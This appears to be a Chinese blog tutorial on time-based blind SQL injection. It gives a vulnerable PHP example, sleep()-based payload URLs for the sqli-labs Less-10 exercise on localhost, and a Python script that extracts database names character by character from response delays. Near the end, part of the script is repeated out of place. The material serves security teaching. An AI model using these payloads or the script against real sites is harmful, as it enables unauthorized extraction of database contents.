6.时间注入

我们在上一章节已经基本了解了盲注的概念和布尔盲注,时间注入与布尔盲注原理类似,也是盲注的一种。


什么是时间注入

时间注入、时间盲注、延时注入都是它,它使用在一种比布尔盲注还要极端的状态

<?php
error_reporting(E_ALL&~E_WARNING);
include("../sql-connections/sql-connect.php");
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE od = 'id' limit 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
	echo "";
}
else
{
	echo "";
}

就如上面代码所诉,代码存在SQL注入漏洞,然而页面即不会回显数据,也不会回显错误信息,语句执行后也不提示真假,我们不能通过页面的内容来进行判断。

这时候我们就需要通过构造语句,来通过页面响应的时长来判断信息,这就是时间盲注


时间盲注的方法

构造语句

构造逻辑语句,通过条件语句进行判断,为真则立即执行,否则延时执行

核心语法:

if(left(user(),1)='a',0,sleep(3));

语句构造方式与布尔盲注基本类似,只是在外面加了一层if判断,判断为真返回第二个值,不成功返回第三个值sleep(3)

image-20200806153210600

真实场景常用语法:

if(ascii(substr(database(),1,1))>115,0,sleep(3));

实际练习

使用场景sqlibs-less10

我们打开源代码可以发现,第十关无论是否执行成功,返回结果都是 You are in…

http://127.0.0.1/Less-10/?id=1" and if(left(user(),1)='s',0,sleep(10))-- #

我们这里猜测user()的第一个字符是s,能够明显的感觉到网页加载速度的变慢

image-20200806163542633

而如果网页速度没有变慢,则说明,我们的判断值是对的,我们就可以通过这样的方式来一个一个拆解判断获取正确的值

为了匹配更多的场景,取消单引号的出现必不可少,为了提高效率也可以使用二分法来判断,所以我们使用得更多的就是

http://127.0.0.1/Less-10/?id=1" and if(ascii(substr(database(),1,1))<105,0,sleep(10))-- +

同样的,我们就可以判断当前库名首字母大于或等于105

image-20200807181307649

为了方便检测,我们使用python3来写一个脚本

引入库requests(发送http请求)和time(获取时间)

import requests
import time

url = 'http://127.0.0.1/Less-10/?id=1' #存在时间盲注的地址

database = 'select schema_name from information_schema.schemata' #查库名
column = 'select column_name from information_schema.columns where table_name="table_name"' #查列名:不同的列只需要替换table_name表名(如果使用十六进制可以不加引号)
table = 'select table_name from information_schema.tables where table_schema=database()' #查表名:不同库的表只需要修改database()(如果使用十六进制可以不加引号)

result = ''
for i in range(1,30): # 字符串长度截取
    for j in range(48,122): # ascii码值
        payload = '" and if(ascii(substr(({} limit 0,1),{},1))={},sleep(5),1)--+'.format(database,i,j)
            # 因为测试场景会有大量的失败,所以这里选择成功延时,失败不延时
            # 测试第二个库只需要修改limit 1,1 依次类推
        stime = time.time() #开始时间
        r = requests.get(url+payload)
        etime = time.time() #结束时间
        if etime-stime >= 3: # 要排除网络环境的影响
            result += chr(j) # j是结果,转换回字母
            print(result)
            break

运行结果

这里就不进行更多的演示了

境的影响
result += chr(j) # j是结果,转换回字母
print(result)
break


运行结果

这里就不进行更多的演示了

![image-20200807185134533](https://imgconvert.csdnimg.cn/aHR0cHM6Ly9za3lzdGFycnktMTI1MTE1NzI0Ny5jb3MuYXAtY2hlbmdkdS5teXFjbG91ZC5jb20vaW1nL2ltYWdlLTIwMjAwODA3MTg1MTM0NTMzLnBuZw?x-oss-process=image/format,png)
  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值